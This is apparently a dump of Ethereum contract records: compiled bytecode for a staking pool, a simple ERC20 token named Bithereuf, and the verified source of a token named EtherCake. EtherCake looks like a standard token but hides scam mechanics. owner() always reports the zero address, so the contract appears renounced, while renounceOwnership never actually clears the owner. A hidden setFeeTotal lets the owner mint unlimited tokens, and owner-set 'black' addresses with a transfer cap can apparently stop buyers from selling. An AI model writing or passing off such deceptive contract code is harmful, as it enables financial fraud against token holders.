0x608060405234801561001057600080fd5b50600436106101725760003560e01c80637b0a47ee116100de578063c8f33c9111610097578063df136d6511610071578063df136d6514610324578063e9fad8ee1461032c578063ebe2b12b14610334578063f2fde38b1461033c57610172565b8063c8f33c911461030c578063cd3daf9d14610314578063ce5fc8d01461031c57610172565b80637b0a47ee146102a957806380faa57d146102b15780638b876347146102b95780638da58897146102df5780638da5cb5b146102e7578063a694fc3a146102ef57610172565b80632e1a7d4d116101305780632e1a7d4d146102315780633c6b16ab1461024e5780633d18b9121461026b57806349badb411461027357806370a082311461027b578063715018a6146102a157610172565b80628cc262146101775780630700037d146101af5780630d68b761146101d5578063101114cf146101fd57806318160ddd146102215780631be0528914610229575b600080fd5b61019d6004803603602081101561018d57600080fd5b50356001600160a01b0316610362565b60408051918252519081900360200190f35b61019d600480360360208110156101c557600080fd5b50356001600160a01b03166103d0565b6101fb600480360360208110156101eb57600080fd5b50356001600160a01b03166103e2565b005b61020561045c565b604080516001600160a01b039092168252519081900360200190f35b61019d61046b565b61019d610472565b6101fb6004803603602081101561024757600080fd5b5035610478565b6101fb6004803603602081101561026457600080fd5b5035610596565b6101fb610765565b610205610877565b61019d6004803603602081101561029157600080fd5b50356001600160a01b0316610886565b6101fb6108a1565b61019d610943565b61019d610949565b61019d600480360360208110156102cf57600080fd5b50356001600160a01b031661095c565b61019d61096e565b610205610974565b6101fb6004803603602081101561030557600080fd5b5035610983565b61019d610aa1565b61019d610aa7565b610205610af5565b61019d610b04565b6101fb610b0a565b61019d610b25565b6101fb6004803603602081101561035257600080fd5b50356001600160a01b0316610b2b565b6001600160a01b0381166000908152600d6020908152604080832054600c9092528220546103ca91906103c490670de0b6b3a7640000906103be906103af906103a9610aa7565b90610c24565b6103b888610886565b90610c6d565b90610cc6565b90610d08565b92915050565b600d6020526000908152604090205481565b6103ea610d62565b6003546001600160a01b0390811691161461043a576040805162461bcd60e51b81526020600482018190526024820152600080516020611282833981519152604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b031681565b6001545b90565b60065481565b33610481610aa7565b600b5561048c610949565b600a556001600160a01b038116156104d3576104a781610362565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6007544210156105145760405162461bcd60e51b815260040180806020018281038252602281526020018061123f6022913960400191505060405180910390fd5b600082116105535760405162461bcd60e51b81526004018080602001828103825260298152602001806112c86029913960400191505060405180910390fd5b61055c82610d66565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b61059e610d62565b6003546001600160a01b039081169116146105ee576040805162461bcd60e51b81526020600482018190526024820152600080516020611282833981519152604482015290519081900360640190fd5b60006105f8610aa7565b600b55610603610949565b600a556001600160a01b0381161561064a5761061e81610362565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6007544211156107045760085442106106735760065461066b908390610cc6565b6009556106b6565b6008546000906106839042610c24565b9050600061069c60095483610c6d90919063ffffffff16565b6006549091506106b0906103be8684610d08565b60095550505b42600a8190556006546106c99190610d08565b6008556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1610761565b600654610712908390610cc6565b600955600754600a81905560065461072a9190610d08565b6008556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a15b5050565b3361076e610aa7565b600b55610779610949565b600a556001600160a01b038116156107c05761079481610362565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6007544210156108015760405162461bcd60e51b815260040180806020018281038252602281526020018061123f6022913960400191505060405180910390fd5b600061080c33610362565b9050801561076157336000818152600d602052604081205560055461083d916001600160a01b039091169083610dbe565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25050565b6005546001600160a01b031681565b6001600160a01b031660009081526002602052604090205490565b6108a9610d62565b6003546001600160a01b039081169116146108f9576040805162461bcd60e51b81526020600482018190526024820152600080516020611282833981519152604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b60095481565b600061095742600854610e15565b905090565b600c6020526000908152604090205481565b60075481565b6003546001600160a01b031690565b3361098c610aa7565b600b55610997610949565b600a556001600160a01b038116156109de576109b281610362565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b600754421015610a1f5760405162461bcd60e51b815260040180806020018281038252602281526020018061123f6022913960400191505060405180910390fd5b60008211610a5e5760405162461bcd60e51b81526004018080602001828103825260268152602001806112a26026913960400191505060405180910390fd5b610a6782610e2b565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600a5481565b6000610ab161046b565b610abe5750600b5461046f565b610957610aec610acc61046b565b6103be670de0b6b3a76400006103b86009546103b8600a546103a9610949565b600b5490610d08565b6000546001600160a01b031681565b600b5481565b610b1b610b1633610886565b610478565b610b23610765565b565b60085481565b610b33610d62565b6003546001600160a01b03908116911614610b83576040805162461bcd60e51b81526020600482018190526024820152600080516020611282833981519152604482015290519081900360640190fd5b6001600160a01b038116610bc85760405162461bcd60e51b81526004018080602001828103825260268152602001806112196026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c6683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e81565b9392505050565b600082610c7c575060006103ca565b82820282848281610c8957fe5b0414610c665760405162461bcd60e51b81526004018080602001828103825260218152602001806112616021913960400191505060405180910390fd5b6000610c6683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f18565b600082820183811015610c66576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b600154610d739082610c24565b60015533600090815260026020526040902054610d909082610c24565b336000818152600260205260408120929092559054610dbb916001600160a01b039091169083610dbe565b50565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610e10908490610f7d565b505050565b6000818310610e245781610c66565b5090919050565b600154610e389082610d08565b60015533600090815260026020526040902054610e559082610d08565b336000818152600260205260408120929092559054610dbb916001600160a01b0390911690308461102e565b60008184841115610f105760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ed5578181015183820152602001610ebd565b50505050905090810190601f168015610f025780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f675760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ed5578181015183820152602001610ebd565b506000838581610f7357fe5b0495945050505050565b6060610fd2826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661108e9092919063ffffffff16565b805190915015610e1057808060200190516020811015610ff157600080fd5b5051610e105760405162461bcd60e51b815260040180806020018281038252602a8152602001806112f1602a913960400191505060405180910390fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611088908590610f7d565b50505050565b606061109d84846000856110a5565b949350505050565b60606110b085611212565b611101576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106111405780518252601f199092019160209182019101611121565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146111a2576040519150601f19603f3d011682016040523d82523d6000602084013e6111a7565b606091505b509150915081156111bb57915061109d9050565b8051156111cb5780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315610ed5578181015183820152602001610ebd565b3b15159056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734d414841444149415254484d4c50546f6b656e506f6f6c3a206e6f74207374617274536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724441494241534c50546f6b656e5368617265506f6f6c3a2043616e6e6f74207374616b6520304441494241534c50546f6b656e5368617265506f6f6c3a2043616e6e6f7420776974686472617720305361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212205e2112b95e8893ef20e121e2dd886077df9c17b23748cdfa6027636aef2f24cb64736f6c634300060c0033
[ 13, 4 ]
0xf2eaf39ecc08006ab4420e3607d488036df59b69
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract Bithereuf is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Bithereuf"; symbol = "BIF"; decimals = 18; _totalSupply = 200000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820b81a84b585888a2a0394f1f563ee25657f6049b615b6b0f9045332b2a75ced950029
[ 38 ]
0xf2eafa2a64eeea5b0d45e92ca15e0d86a80b8d56
/** *Submitted for verification at Etherscan.io on 2021-08-14 */ /** *Submitted for verification at Etherscan.io on 2021-06-17 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract EtherCake is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100_000_000_000 * 10**18; string private _name = 'EtherCake'; string private _symbol = '$EthCake'; uint8 private _decimals = 18; uint256 public _maxBlack = 100_000_000 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function setBlackListBot(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function setMaxTxBlack(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tBotAddress) { require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
